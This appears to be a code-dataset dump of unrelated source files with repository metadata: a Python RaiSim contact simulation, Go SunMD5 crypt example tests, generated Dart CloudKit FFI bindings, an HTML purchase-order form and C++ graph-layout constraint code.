ax2.set_xlabel('time (s)')
ax2.set_ylabel('Vel-z', color = '#F97306')
p2, = ax2.plot(T, BallVel_z, color = '#F97306', label="z-axis velocity")
ax2.tick_params(axis='y', labelcolor='#F97306')
fig.tight_layout()
ax1.legend(handles=[p1, p2])
today=datetime.date.today()
pathDir = './material_data/'
todaytime = str(today)
filename = 'Vy_' + str(ball_vy) + '-miu_'+ str(miu_F) + '-Coef-Restitute_' + str(C_r) + '-V_th_' + str(V_th)
save_dir = os.path.join(pathDir, todaytime) + '/' + filename + '/'
# print(pathDir, save_dir)
name = str(today) + '-V_Fig' + '-Vy_' + str(ball_vy) + '-miu_'+ str(miu_F) + '-Coef-Restitute_' + str(C_r) + '-V_th_' + str(V_th) + '.png'
plt.savefig(save_dir + name)
plt.show()
def FigPlotForce(T, BallVelocity, BallFroce, ball_vy, miu_F, C_r, V_th):
fig, ax1 = plt.subplots()
BallForce_y = BallFroce[:, 0]
BallForce_z = BallFroce[:, 1]
ax1.set_xlabel('time (s)')
ax1.set_ylabel('Force-y')
p1, = ax1.plot(T, BallForce_y, label="y-axis Force")
ax1.tick_params(axis='y')
ax2 = ax1.twinx()
ax2.set_xlabel('time (s)')
ax2.set_ylabel('Force-z', color = '#F97306')
p2, = ax2.plot(T, BallForce_z, color = '#F97306', label="z-axis Force")
ax2.tick_params(axis='y', labelcolor='#F97306')
fig.tight_layout()
ax1.legend(handles=[p1, p2])
today=datetime.date.today()
pathDir = './material_data/'
todaytime = str(today)
filename = 'Vy_' + str(ball_vy) + '-miu_'+ str(miu_F) + '-Coef-Restitute_' + str(C_r) + '-V_th_' + str(V_th)
save_dir = os.path.join(pathDir, todaytime) + '/' + filename + '/'
# print(pathDir, save_dir)
today=datetime.date.today()
name = str(today) + '-Force_Fig' + '-Vy_' + str(ball_vy) + '-miu_'+ str(miu_F) + '-Coef-Restitute_' + str(C_r) + '-V_th_' + str(V_th) + '.png'
plt.savefig(save_dir + name)
plt.show()
def MaterialTest(ParamData, ball_y, ball_vy, miu_F, C_r, V_th):
server = raisim.RaisimServer(world)
server.launchServer(8080)
EnvParam = ParamData["environment"]
t_steps = EnvParam["t_step"]
# sphere.setPosition(0, ball_y, 1)
# sphere.setVelocity(0, ball_vy, -5, 0, 0, 0)
# help(raisim.World)
jointNominalConfig = np.array([0.0, ball_y, 1, 1.0, 0.0, 0.0, 0.0])
# jointNominalConfig = np.array([0.34, -0.05, 0.5,1.0, 0.0, 0.0, 0.0])
jointVelocityTarget = np.array([0.0, ball_vy, -5.0, 0.0, 0.0, 0.0])
ball1.setGeneralizedCoordinate(np.array([ball_y, 1]))
ball1.setGeneralizedVelocity(np.array([ball_vy, -5.0]))
world.setMaterialPairProp("steel", "rubber", miu_F, C_r, V_th)
world.set_contact_solver_parameters(1.0, 1.0, 1.0, 200, 1e-8)
# world.updateMaterialProp(raisim.MaterialManager(os.path.dirname(os.path.abspath(__file__)) + "/urdf/testMaterial.xml"))
BallVelocity = np.array([[0.0, 0.0]])
BallFroce = np.array([[0.0, 0.0]])
T = np.array([0.0])
for i in range(5000):
time.sleep(0.01)
## ======================
## contact detect
ContactPoint = ball1.getContacts()
contact_flag = False
for c in ContactPoint:
contact_flag = c.getlocalBodyIndex() == ball1.getBodyIdx("ball")
if(contact_flag):
break
pass
# BallVel = ball1.getLinearVelocity()
BallPos, BallVel = ball1.getState()
if contact_flag:
ContactPointVel = ContactPoint[0].getImpulse() # get contact impulse
ContactForce = ContactPointVel / t_steps # the contact force can be get by impluse / dt
print(ContactForce)
else:
ContactForce = np.array([0.0, 0.0, 0.0])
print(contact_flag)
print(BallVel)
print(BallPos[0:3])
print(ContactForce)
t = i * t_steps
T = np.concatenate([T, [t]], axis = 0)
BallVelocity = np.concatenate([BallVelocity, [[BallVel[0], BallVel[1]]]], axis = 0)
BallFroce = np.concatenate([BallFroce, [[ContactForce[1], ContactForce[2]]]], axis = 0)
server.integrateWorldThreadSafe()
T = T[1:]
BallVelocity = BallVelocity[1:, ]
BallFroce = BallFroce[1:, ]
server.killServer()
FileSave(T, BallVelocity, BallFroce, ball_y, ball_vy, miu_F, C_r, V_th)
FigPlot(T, BallVelocity, BallFroce, ball_vy, miu_F, C_r, V_th)
FigPlotForce(T, BallVelocity, BallFroce, ball_vy, miu_F, C_r, V_th)
if __name__ == "__main__":
# get params config data
FilePath = os.path.dirname(os.path.abspath(__file__))
ParamFilePath = FilePath + "/config/LISM_test.yaml"
ParamFile = open(ParamFilePath, "r", encoding="utf-8")
ParamData = yaml.load(ParamFile, Loader=yaml.FullLoader)
# load activation file and urdf file
raisim.World.setLicenseFile(os.path.dirname(os.path.abspath(__file__)) + "/activation.raisim")
ball1_urdf_file = os.path.dirname(os.path.abspath(__file__)) + "/urdf/ball2.urdf"
world = raisim.World()
# set simulation step
t_step = ParamData["environment"]["t_step"]
sim_time = ParamData["environment"]["sim_time"]
world.setTimeStep(0.005)
ground = world.addGround(0, "steel")
# sphere = world.addSphere(0.2, 1, "rubber")
#======================
# material collision property of change direction of force is applied
# world.setMaterialPairProp("default", "rub", 1.0, 0.85, 0.0001) # ball rebound model test
# world.setMaterialPairProp("rub", "rub", 0.52, 0.8, 0.001, 0.61, 0.01)
# world.updateMaterialProp(raisim.MaterialManager(os.path.dirname(os.path.abspath(__file__)) + "/urdf/testMaterial.xml"))
# help(world)
gravity = world.getGravity()
ball1 = world.addArticulatedSystem(ball1_urdf_file)
ball1.setName("ball1")
# gravity = world.getGravity()
# raisim world server setting
# server = raisim.RaisimServer(world)
# server.launchServer(8080)
ball_y = np.array([0.0, 1, -1])
ball_vy = np.array([0.0, -10.0, 5.0])
miu_F = np.array([0.1, 0.3, 0.8])
C_r = np.array([0.2, 0.5, 0.9])
V_th = np.array([0.1, 2, 7])
today=datetime.date.today()
pathDir = './material_data/'
todaytime = str(today)
save_dir = os.path.join(pathDir, todaytime) + '/'
print(pathDir, save_dir)
# for i in range(0, len(ball_y)):
# for j in range(0, 3):
# for k in range(0, 3):
# for m in range(0, 3):
# MaterialTest(ParamData, ball_y[i], ball_vy[i], miu_F[j], C_r[k], V_th[m])
MaterialTest(ParamData, ball_y[2], ball_vy[2], miu_F[0], C_r[2], V_th[0])
# file save
# FileFlag = ParamData["environment"]["FileFlag"]
# FileSave.DataSave(Data, ParamData, FileFlag)
# # data visulization
# Data = {'BallPos': BallPosition, 'BallVel': BallVelocity, 'ExternalForce': ExternalForce, 'time': T}
# DataPlot(Data)
# visualization.DataPlot(Data)
# visualization.RealCmpRef(Data)
# print("force, ", ForceState[0:100, 1]) | 37.709251 | 146 | 0.619393 |
2998ddb3a80f498557294ab5caa4de589621dd35 | 897 | go | Go | sunmd5/example_test.go | sergeymakinen/go-crypt | 84e627f8a4d1a5a13e36f1b2fc1736821166e5c3 | [
"BSD-3-Clause"
] | null | null | null | sunmd5/example_test.go | sergeymakinen/go-crypt | 84e627f8a4d1a5a13e36f1b2fc1736821166e5c3 | [
"BSD-3-Clause"
] | null | null | null | sunmd5/example_test.go | sergeymakinen/go-crypt | 84e627f8a4d1a5a13e36f1b2fc1736821166e5c3 | [
"BSD-3-Clause"
] | null | null | null | package sunmd5_test
import (
"fmt"
"github.com/sergeymakinen/go-crypt/hash"
"github.com/sergeymakinen/go-crypt/sunmd5"
)
func ExampleParams() {
salt, rounds, _, _ := sunmd5.Params("$md5,rounds=5000$ReCRHeOH$$WOV3YlBRWykkmQDJc.uia/")
fmt.Println(string(salt))
fmt.Println(rounds)
// Output:
// ReCRHeOH
// 5000
}
func ExampleKey() {
salt, rounds, opts, _ := sunmd5.Params("$md5,rounds=5000$ReCRHeOH$$WOV3YlBRWykkmQDJc.uia/")
fmt.Println(string(salt))
fmt.Println(rounds)
key, _ := sunmd5.Key([]byte("password"), salt, rounds, opts)
fmt.Println(hash.LittleEndianEncoding.EncodeToString(key))
// Output:
// ReCRHeOH
// 5000
// WOV3YlBRWykkmQDJc.uia/
}
func ExampleCheck() {
hash := "$md5,rounds=5000$ReCRHeOH$$WOV3YlBRWykkmQDJc.uia/"
fmt.Println(sunmd5.Check(hash, "password"))
fmt.Println(sunmd5.Check(hash, "test"))
// Output:
// <nil>
// hash and password mismatch
}
| 22.425 | 92 | 0.704571 |
6506e63c73578ee2c33396b2d4e20432540b1c2b | 10,547 | dart | Dart | lib/src/generated/cloudkit/CKModifyRecordAccessOperation.dart | rodydavis/cupertino_ffi_generated | 4d59f68921a5ae1ba58831c9de83ea0d7979148f | [
"MIT"
] | 2 | 2021-05-10T01:24:08.000Z | 2021-12-13T10:24:41.000Z | lib/src/generated/cloudkit/CKModifyRecordAccessOperation.dart | rodydavis/cupertino_ffi_generated | 4d59f68921a5ae1ba58831c9de83ea0d7979148f | [
"MIT"
] | null | null | null | lib/src/generated/cloudkit/CKModifyRecordAccessOperation.dart | rodydavis/cupertino_ffi_generated | 4d59f68921a5ae1ba58831c9de83ea0d7979148f | [
"MIT"
] | null | null | null | // AUTOMATICALLY GENERATED. DO NOT EDIT.
part of cupertino_ffi.cloudkit;
/// Static methods for Objective-C class `CKModifyRecordAccessOperation`.
/// See also instance methods in [CKModifyRecordAccessOperationPointer].
///
/// Find detailed documentation at: [developer.apple.com/documentation/cloudkit?language=objc](https://developer.apple.com/documentation/cloudkit?language=objc)
class CKModifyRecordAccessOperation extends Struct {
/// Allocates a new instance of CKModifyRecordAccessOperation.
static Pointer<CKModifyRecordAccessOperation> allocate() {
_ensureDynamicLibraryHasBeenOpened();
return _objc.allocateByClassName<CKModifyRecordAccessOperation>(
'CKModifyRecordAccessOperation');
}
}
/// Instance methods for [CKModifyRecordAccessOperation] (Objective-C class `CKModifyRecordAccessOperation`).
///
/// Find detailed documentation at: [developer.apple.com/documentation/cloudkit?language=objc](https://developer.apple.com/documentation/cloudkit?language=objc)
extension CKModifyRecordAccessOperationPointer
on Pointer<CKModifyRecordAccessOperation> {
/// Objective-C method `CKOperationShouldRun:`.
@ObjcMethodInfo(
selector: 'CKOperationShouldRun:',
returnType: 'c',
parameterTypes: ['@', ':', '^@'],
)
int CKOperationShouldRun(
Pointer<Pointer> arg,
) {
_ensureDynamicLibraryHasBeenOpened();
return _objc_call.call_ptr_ptr_ptr_returns_int8(
this,
_objc.getSelector(
'CKOperationShouldRun:',
),
arg,
);
}
/// Objective-C method `activityCreate`.
@ObjcMethodInfo(
selector: 'activityCreate',
returnType: '@',
parameterTypes: ['@', ':'],
)
Pointer activityCreate() {
_ensureDynamicLibraryHasBeenOpened();
return _objc_call.call_ptr_ptr_returns_ptr(
this,
_objc.getSelector(
'activityCreate',
),
);
}
/// Objective-C method `fillFromOperationInfo:`.
@ObjcMethodInfo(
selector: 'fillFromOperationInfo:',
returnType: 'v',
parameterTypes: ['@', ':', '@'],
)
Pointer fillFromOperationInfo(
Pointer arg,
) {
_ensureDynamicLibraryHasBeenOpened();
return _objc_call.call_ptr_ptr_ptr_returns_ptr(
this,
_objc.getSelector(
'fillFromOperationInfo:',
),
arg,
);
}
/// Objective-C method `fillOutOperationInfo:`.
@ObjcMethodInfo(
selector: 'fillOutOperationInfo:',
returnType: 'v',
parameterTypes: ['@', ':', '@'],
)
Pointer fillOutOperationInfo(
Pointer arg,
) {
_ensureDynamicLibraryHasBeenOpened();
return _objc_call.call_ptr_ptr_ptr_returns_ptr(
this,
_objc.getSelector(
'fillOutOperationInfo:',
),
arg,
);
}
/// Objective-C method `grantedRecordIDs`.
@ObjcMethodInfo(
selector: 'grantedRecordIDs',
returnType: '@',
parameterTypes: ['@', ':'],
)
Pointer grantedRecordIDs() {
_ensureDynamicLibraryHasBeenOpened();
return _objc_call.call_ptr_ptr_returns_ptr(
this,
_objc.getSelector(
'grantedRecordIDs',
),
);
}
/// Objective-C method `hasCKOperationCallbacksSet`.
@ObjcMethodInfo(
selector: 'hasCKOperationCallbacksSet',
returnType: 'c',
parameterTypes: ['@', ':'],
)
int hasCKOperationCallbacksSet() {
_ensureDynamicLibraryHasBeenOpened();
return _objc_call.call_ptr_ptr_returns_int8(
this,
_objc.getSelector(
'hasCKOperationCallbacksSet',
),
);
}
/// Objective-C method `initWithRecordIDsToGrantAccess:recordIDsToRevokeAccess:`.
@ObjcMethodInfo(
selector: 'initWithRecordIDsToGrantAccess:recordIDsToRevokeAccess:',
returnType: '@',
parameterTypes: ['@', ':', '@', '@'],
)
Pointer initWithRecordIDsToGrantAccess(
Pointer arg, {
@required Pointer recordIDsToRevokeAccess,
}) {
_ensureDynamicLibraryHasBeenOpened();
return _objc_call.call_ptr_ptr_ptr_ptr_returns_ptr(
this,
_objc.getSelector(
'initWithRecordIDsToGrantAccess:recordIDsToRevokeAccess:',
),
arg,
recordIDsToRevokeAccess,
);
}
/// Objective-C method `performCKOperation`.
@ObjcMethodInfo(
selector: 'performCKOperation',
returnType: 'v',
parameterTypes: ['@', ':'],
)
Pointer performCKOperation() {
_ensureDynamicLibraryHasBeenOpened();
return _objc_call.call_ptr_ptr_returns_ptr(
this,
_objc.getSelector(
'performCKOperation',
),
);
}
/// Objective-C method `recordAccessCompletionBlock`.
@ObjcMethodInfo(
selector: 'recordAccessCompletionBlock',
returnType: '@?',
parameterTypes: ['@', ':'],
)
Pointer recordAccessCompletionBlock() {
_ensureDynamicLibraryHasBeenOpened();
return _objc_call.call_ptr_ptr_returns_ptr(
this,
_objc.getSelector(
'recordAccessCompletionBlock',
),
);
}
/// Objective-C method `recordAccessGrantedBlock`.
@ObjcMethodInfo(
selector: 'recordAccessGrantedBlock',
returnType: '@?',
parameterTypes: ['@', ':'],
)
Pointer recordAccessGrantedBlock() {
_ensureDynamicLibraryHasBeenOpened();
return _objc_call.call_ptr_ptr_returns_ptr(
this,
_objc.getSelector(
'recordAccessGrantedBlock',
),
);
}
/// Objective-C method `recordAccessRevokedBlock`.
@ObjcMethodInfo(
selector: 'recordAccessRevokedBlock',
returnType: '@?',
parameterTypes: ['@', ':'],
)
Pointer recordAccessRevokedBlock() {
_ensureDynamicLibraryHasBeenOpened();
return _objc_call.call_ptr_ptr_returns_ptr(
this,
_objc.getSelector(
'recordAccessRevokedBlock',
),
);
}
/// Objective-C method `recordErrors`.
@ObjcMethodInfo(
selector: 'recordErrors',
returnType: '@',
parameterTypes: ['@', ':'],
)
Pointer recordErrors() {
_ensureDynamicLibraryHasBeenOpened();
return _objc_call.call_ptr_ptr_returns_ptr(
this,
_objc.getSelector(
'recordErrors',
),
);
}
/// Objective-C method `recordIDsToGrant`.
@ObjcMethodInfo(
selector: 'recordIDsToGrant',
returnType: '@',
parameterTypes: ['@', ':'],
)
Pointer recordIDsToGrant() {
_ensureDynamicLibraryHasBeenOpened();
return _objc_call.call_ptr_ptr_returns_ptr(
this,
_objc.getSelector(
'recordIDsToGrant',
),
);
}
/// Objective-C method `recordIDsToRevoke`.
@ObjcMethodInfo(
selector: 'recordIDsToRevoke',
returnType: '@',
parameterTypes: ['@', ':'],
)
Pointer recordIDsToRevoke() {
_ensureDynamicLibraryHasBeenOpened();
return _objc_call.call_ptr_ptr_returns_ptr(
this,
_objc.getSelector(
'recordIDsToRevoke',
),
);
}
/// Objective-C method `revokedRecordIDs`.
@ObjcMethodInfo(
selector: 'revokedRecordIDs',
returnType: '@',
parameterTypes: ['@', ':'],
)
Pointer revokedRecordIDs() {
_ensureDynamicLibraryHasBeenOpened();
return _objc_call.call_ptr_ptr_returns_ptr(
this,
_objc.getSelector(
'revokedRecordIDs',
),
);
}
/// Objective-C method `setGrantedRecordIDs:`.
@ObjcMethodInfo(
selector: 'setGrantedRecordIDs:',
returnType: 'v',
parameterTypes: ['@', ':', '@'],
)
Pointer setGrantedRecordIDs(
Pointer arg,
) {
_ensureDynamicLibraryHasBeenOpened();
return _objc_call.call_ptr_ptr_ptr_returns_ptr(
this,
_objc.getSelector(
'setGrantedRecordIDs:',
),
arg,
);
}
/// Objective-C method `setRecordAccessCompletionBlock:`.
@ObjcMethodInfo(
selector: 'setRecordAccessCompletionBlock:',
returnType: 'v',
parameterTypes: ['@', ':', '@?'],
)
Pointer setRecordAccessCompletionBlock(
Pointer arg,
) {
_ensureDynamicLibraryHasBeenOpened();
return _objc_call.call_ptr_ptr_ptr_returns_ptr(
this,
_objc.getSelector(
'setRecordAccessCompletionBlock:',
),
arg,
);
}
/// Objective-C method `setRecordAccessGrantedBlock:`.
@ObjcMethodInfo(
selector: 'setRecordAccessGrantedBlock:',
returnType: 'v',
parameterTypes: ['@', ':', '@?'],
)
Pointer setRecordAccessGrantedBlock(
Pointer arg,
) {
_ensureDynamicLibraryHasBeenOpened();
return _objc_call.call_ptr_ptr_ptr_returns_ptr(
this,
_objc.getSelector(
'setRecordAccessGrantedBlock:',
),
arg,
);
}
/// Objective-C method `setRecordAccessRevokedBlock:`.
@ObjcMethodInfo(
selector: 'setRecordAccessRevokedBlock:',
returnType: 'v',
parameterTypes: ['@', ':', '@?'],
)
Pointer setRecordAccessRevokedBlock(
Pointer arg,
) {
_ensureDynamicLibraryHasBeenOpened();
return _objc_call.call_ptr_ptr_ptr_returns_ptr(
this,
_objc.getSelector(
'setRecordAccessRevokedBlock:',
),
arg,
);
}
/// Objective-C method `setRecordErrors:`.
@ObjcMethodInfo(
selector: 'setRecordErrors:',
returnType: 'v',
parameterTypes: ['@', ':', '@'],
)
Pointer setRecordErrors(
Pointer arg,
) {
_ensureDynamicLibraryHasBeenOpened();
return _objc_call.call_ptr_ptr_ptr_returns_ptr(
this,
_objc.getSelector(
'setRecordErrors:',
),
arg,
);
}
/// Objective-C method `setRecordIDsToGrant:`.
@ObjcMethodInfo(
selector: 'setRecordIDsToGrant:',
returnType: 'v',
parameterTypes: ['@', ':', '@'],
)
Pointer setRecordIDsToGrant(
Pointer arg,
) {
_ensureDynamicLibraryHasBeenOpened();
return _objc_call.call_ptr_ptr_ptr_returns_ptr(
this,
_objc.getSelector(
'setRecordIDsToGrant:',
),
arg,
);
}
/// Objective-C method `setRecordIDsToRevoke:`.
@ObjcMethodInfo(
selector: 'setRecordIDsToRevoke:',
returnType: 'v',
parameterTypes: ['@', ':', '@'],
)
Pointer setRecordIDsToRevoke(
Pointer arg,
) {
_ensureDynamicLibraryHasBeenOpened();
return _objc_call.call_ptr_ptr_ptr_returns_ptr(
this,
_objc.getSelector(
'setRecordIDsToRevoke:',
),
arg,
);
}
/// Objective-C method `setRevokedRecordIDs:`.
@ObjcMethodInfo(
selector: 'setRevokedRecordIDs:',
returnType: 'v',
parameterTypes: ['@', ':', '@'],
)
Pointer setRevokedRecordIDs(
Pointer arg,
) {
_ensureDynamicLibraryHasBeenOpened();
return _objc_call.call_ptr_ptr_ptr_returns_ptr(
this,
_objc.getSelector(
'setRevokedRecordIDs:',
),
arg,
);
}
}
| 24.585082 | 160 | 0.653835 |
988ed6218d2949d6f0266540b6e13e922821842e | 3,589 | html | HTML | Apps/Admin/View/News/editNews.html | SWUNwy/wyecho | cb58eca33f7b110bfca6a7f1d8768c56dc44ae1f | [
"Apache-2.0"
] | null | null | null | Apps/Admin/View/News/editNews.html | SWUNwy/wyecho | cb58eca33f7b110bfca6a7f1d8768c56dc44ae1f | [
"Apache-2.0"
] | null | null | null | Apps/Admin/View/News/editNews.html | SWUNwy/wyecho | cb58eca33f7b110bfca6a7f1d8768c56dc44ae1f | [
"Apache-2.0"
] | null | null | null | <extend name="Common/meta" />
<block name="body">
<div class="wrapper wrapper-content animated fadeInRight">
<div class="row">
<div class="col-sm-12">
<div class="ibox float-e-margins">
<div class="ibox-title">
<h5>添加资讯</h5>
<div class="ibox-tools">
<button type="button" class="btn btn-outline btn-primary btn-xs" onclick="history.back(-1);">返回</button>
</div>
</div>
<form action="{:U('News/save')}" method="post" >
<input type="hidden" name="id" id="id" value="{$news.id}">
<div class="ibox-content">
<div class="form-horizontal">
<div class="form-group">
<label class="col-sm-2 control-label">资讯主题</label>
<div class="col-sm-10">
<input type="text" class="form-control" name="theme" value="{$news.theme}" placeholder="请填写资讯主题" id="theme">
</div>
</div>
<div class="hr-line-dashed"></div>
<div class="form-group">
<label class="col-sm-2 control-label">资讯内容</label>
<div class="col-sm-10">
<input type="text" class="form-control" name="content" value="{$news.content}" placeholder="请填写资讯内容" id="content">
</div>
</div>
<div class="hr-line-dashed"></div>
<div class="form-group">
<label class="col-sm-2 control-label">资讯简介</label>
<div class="col-sm-10">
<input type="text" class="form-control" name="introduction" value="{$news.introduction}" placeholder="请填写资讯内容" id="introduction">
</div>
</div>
<div class="hr-line-dashed"></div>
<div class="form-group">
<label class="col-sm-2 control-label">发布者</label>
<div class="col-sm-10">
<input type="text" class="form-control" name="user" value="{$news.user}" placeholder="请填写资讯发布者" id="user">
</div>
</div>
<div class="hr-line-dashed"></div>
<div class="form-group">
<label class="col-sm-2 control-label">发布者联系方式</label>
<div class="col-sm-10">
<input type="text" class="form-control" name="email" value="{$news.email}" placeholder="请填写发布者联系方式" id="email">
</div>
</div>
<div class="hr-line-dashed"></div>
<div class="form-group">
<div class="col-sm-4 col-sm-offset-2">
<button class="btn btn-primary" id="save">保存内容</button>
</div>
</div>
</div>
</div>
</from>
</div>
</div>
</div>
</div>
<!-- <script>
//定义全局变量
var GV = {
sports_addsporst : "{:U('Sports/addSports')}"
};
</script> -->
<script src="__JS__/http/sports/addsports.js"></script>
</block> | 44.308642 | 161 | 0.412371 |
5972af80559cd2bf53a82ff54be6b40a9d7625d8 | 3,543 | cpp | C++ | src/VectorizedStressMajorization/CrossingRemoveConst.cpp | VisLabWang/vectorized_stress_majorization | 00eff1a0f94fb1742f12756912ff7e072684b114 | [
"MIT"
] | 2 | 2021-03-16T05:34:41.000Z | 2021-11-24T12:24:24.000Z | src/VectorizedStressMajorization/CrossingRemoveConst.cpp | Ideas-Laboratory/vectorized_stress_majorization | 00eff1a0f94fb1742f12756912ff7e072684b114 | [
"MIT"
] | null | null | null | src/VectorizedStressMajorization/CrossingRemoveConst.cpp | Ideas-Laboratory/vectorized_stress_majorization | 00eff1a0f94fb1742f12756912ff7e072684b114 | [
"MIT"
] | null | null | null |
#include "stdafx.h"
#include "CrossingRemoveConst.h"
#include "Solver.cuh"
#include <iterator>
#include <iostream>
CrossingRemoveConst::CrossingRemoveConst(){
this->init();
}
CrossingRemoveConst::~CrossingRemoveConst(){}
void CrossingRemoveConst::init(){}
void CrossingRemoveConst::initShape(Edges edges, vector<float> r_lengths, float wi, vector<int> degrees, int const_id){
this->const_id = const_id;
this->edges = edges;
this->r_lengths = r_lengths;
this->d_vector = VectorXf::Zero(2 * edges.size());
/*the last element in degrees is the total degree of all nodes in edges*/
for (int i = 0; i < degrees.size()-1; i++){
this->edge_weights.push_back((float)degrees[i] / (float)degrees[degrees.size() - 1]);
}
for (int i = 0; i < edges.size(); i++){
this->pid.push_back(edges[i].first);
this->pid.push_back(edges[i].second);
}
this->pid.shrink_to_fit();
this->wi = wi;
}
int CrossingRemoveConst::Copy(void * linear_constraint){
cuDWORD *constraints = static_cast<cuDWORD *>(linear_constraint);
constraints[0] = CrossingRemoveConst::type;
constraints[1] = getdnum() * 2;
constraints[2] = edges.size();
memcpy(&constraints[3], &wi, 4);
int idx = 4;
/*edge*/
for (int i = 0; i < this->edges.size(); i++) {
constraints[idx++] = this->edges[i].first;
constraints[idx++] = this->edges[i].second;
}
/*rest length*/
float tmp;
for (int i = 0; i < this->edges.size(); i++) {
tmp = this->r_lengths[i];
memcpy(&constraints[idx++], &tmp, 4);
}
/*edge weights*/
for (int i = 0; i < this->edges.size(); i++){
memcpy(&constraints[idx++], &this->edge_weights[i], 4);
}
return idx;
}
void CrossingRemoveConst::getRightHand(VectorXf& right_hand){
right_hand = this->d_vector;
}
void CrossingRemoveConst::setSolver(Solver* solver){
this->solver = solver;
}
vector<int> CrossingRemoveConst::getpid(){
return pid;
}
float CrossingRemoveConst::getWi(){
return this->wi;
}
void CrossingRemoveConst::setWi(float wi){
this->wi = wi;
}
void CrossingRemoveConst::setLMatrix(MatrixXf &sysm){
float k = 0;
for (int i = 0; i < edges.size(); i++){
float k = edge_weights[i] * edges.size() * wi / (r_lengths[i] * r_lengths[i]);
sysm(edges[i].first, edges[i].first) += k;
sysm(edges[i].first, edges[i].second) += -k;
sysm(edges[i].second, edges[i].first) += -k;
sysm(edges[i].second, edges[i].second) += k;
}
}
void CrossingRemoveConst::minusLMatrix(MatrixXf &sysm) {
float k = 0;
for (int i = 0; i < edges.size(); i++){
float k = edge_weights[i] * edges.size() * wi / (r_lengths[i] * r_lengths[i]);
sysm(edges[i].first, edges[i].first) += -k;
sysm(edges[i].first, edges[i].second) += k;
sysm(edges[i].second, edges[i].first) += k;
sysm(edges[i].second, edges[i].second) += -k;
}
}
int CrossingRemoveConst::getdnum(){
return this->edges.size();
}
int CrossingRemoveConst::getConstId() {
return const_id;
}
void CrossingRemoveConst::setConstId(int const_id) {
this->const_id = const_id;
}
void CrossingRemoveConst::setOuterExtraConstId(int outer_extra_const_id) {
this->outer_extra_const_id = outer_extra_const_id;
}
int CrossingRemoveConst::getOuterExtraConstId() {
return outer_extra_const_id;
}
Edges CrossingRemoveConst::getEdges(){
return edges;
}
void CrossingRemoveConst::setpid(vector<int> pid){
this->pid = pid;
this->edges.clear();
for (int i = 0; i < this->pid.size() / 2; i++){
this->edges.push_back(make_pair(this->pid[2 * i + 0], this->pid[2 * i + 1]));
}
} | 31.353982 | 120 | 0.655377 |
74815cf96631d497b84d25100cea95a072c692bc | 5,903 | html | HTML | front/html/app/components/admin/purchase_orders/purchase_order.edit.html | next-crs4/penelope | a78779dc646b7590143c5d1da5c10d67dc334e9c | [
"MIT"
] | null | null | null | front/html/app/components/admin/purchase_orders/purchase_order.edit.html | next-crs4/penelope | a78779dc646b7590143c5d1da5c10d67dc334e9c | [
"MIT"
] | null | null | null | front/html/app/components/admin/purchase_orders/purchase_order.edit.html | next-crs4/penelope | a78779dc646b7590143c5d1da5c10d67dc334e9c | [
"MIT"
] | null | null | null | <form name="editPurchaseOrderForm" class="form">
<div class="panel panel-primary">
<div class="panel-body">
<div class="col-sm-12" style="margin-top:10px;">
<div class="input-inline col-sm-6">
<div class="input-group">
<div class="input-group-addon">
<i class="glyphicon glyphicon-pencil"></i>
</div>
<input type="text" data-ng-required="true"
title="title"
class="form-control"
ng-model="edit_params.title"
placeholder="Acronym..."/>
</div>
</div>
<div class="input-inline col-sm-6">
<div class="input-group">
<div class="input-group-addon">
<i class="glyphicon glyphicon-pencil"></i>
</div>
<input type="text" class="form-control" data-ng-required="true"
ng-model="edit_params.description" data-name="description"
placeholder="Description...">
</div>
</div>
</div>
<div class="col-sm-12" style="margin-top:10px;">
<div class="input-inline col-sm-4">
<div class="input-group">
<div class="input-group-addon">
<i class="glyphicon glyphicon-tower"></i>
</div>
<select data-nq-select="" data-ng-required="true" data-min-required="1"
data-qo-placeholder="Supplier.." name="supplier"
data-ng-model="edit_params.supplier"
data-ng-options="s.name for s in suppliers">
</select>
</div>
</div>
<div class="input-inline col-sm-4">
<div class="input-group">
<div class="input-group-addon">
<i class="glyphicon glyphicon-euro"></i>
</div>
<input type="text" data-ng-required="true"
title="amount"
class="form-control"
ng-model="edit_params.amount"
placeholder="Amount..."/>
</div>
</div>
</div>
<div class="col-sm-12" style="margin-top:10px;" ng-if="purchase_order.review_state!=='due'">
<div class="input-inline col-sm-4">
<div class="input-group">
<div class="input-group-addon">
<i class="glyphicon glyphicon-pencil"></i>
</div>
<input type="text" data-ng-required="true"
title="order_number"
class="form-control"
ng-model="edit_params.order_number"
placeholder="Order Number..."/>
</div>
</div>
<div class="input-inline col-sm-4">
<div class="input-group">
<div class="input-group-addon">
<i class="glyphicon glyphicon-pencil"></i>
</div>
<input type="text" data-ng-required="true"
title="cig_number"
class="form-control"
ng-model="edit_params.cig_number"
placeholder="CIG..."/>
</div>
</div>
<div class="input-inline col-sm-4">
<div class="input-group">
<div class="input-group-addon">
<i class="glyphicon glyphicon-calendar"></i>
</div>
<input type="text" ng-model="edit_params.order_date" class="form-control"
data-nq-datepicker="" data-qo-format="YYYY-MM-DD" data-qo-mode='date'
placeholder="datepicker" data-ng-required="true" name="order_date" required>
</div>
</div>
</div>
<div class="col-sm-12" style="margin-top:10px;" ng-if="purchase_order.review_state==='completed'">
<div class="input-inline col-sm-6">
<div class="input-group">
<div class="input-group-addon">
<i class="glyphicon glyphicon-calendar"></i> Closing
</div>
<input type="text" ng-model="edit_params.closing_date" class="form-control"
data-nq-datepicker="" data-qo-format="YYYY-MM-DD" data-qo-mode='date'
placeholder="datepicker" data-ng-required="true" name="closing_date" required>
</div>
</div>
</div>
<div class="col-sm-12 controls" style="margin-top:10px;">
<div class="col-sm-12 input-inline pull-right">
<button type="button" class="btn btn-success pull-right"
data-ng-click="ctrl.edit(edit_params)"
data-ng-disabled="edit_params==undefined">
<span class="glyphicon glyphicon-edit"></span> Edit
</button>
</div>
</div>
</div>
</div>
</form> | 50.887931 | 110 | 0.412672 |
f56335fedeb9436f6c905ce75a3f89840e79c46a | 63,329 | cpp | C++ | logdevice/common/test/MessageSerializationTest.cpp | zhengxiaochuan-3/LogDevice | 01e2302a382db1d87f934e305c8cc74ffc0a24a4 | [
"BSD-3-Clause"
] | 1 | 2019-12-18T09:07:45.000Z | 2019-12-18T09:07:45.000Z | logdevice/common/test/MessageSerializationTest.cpp | zhengxiaochuan-3/LogDevice | 01e2302a382db1d87f934e305c8cc74ffc0a24a4 | [
"BSD-3-Clause"
] | null | null | null | logdevice/common/test/MessageSerializationTest.cpp | zhengxiaochuan-3/LogDevice | 01e2302a382db1d87f934e305c8cc74ffc0a24a4 | [
"BSD-3-Clause"
] | null | null | null | /**
* Copyright (c) 2017-present, Facebook, Inc. and its affiliates.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
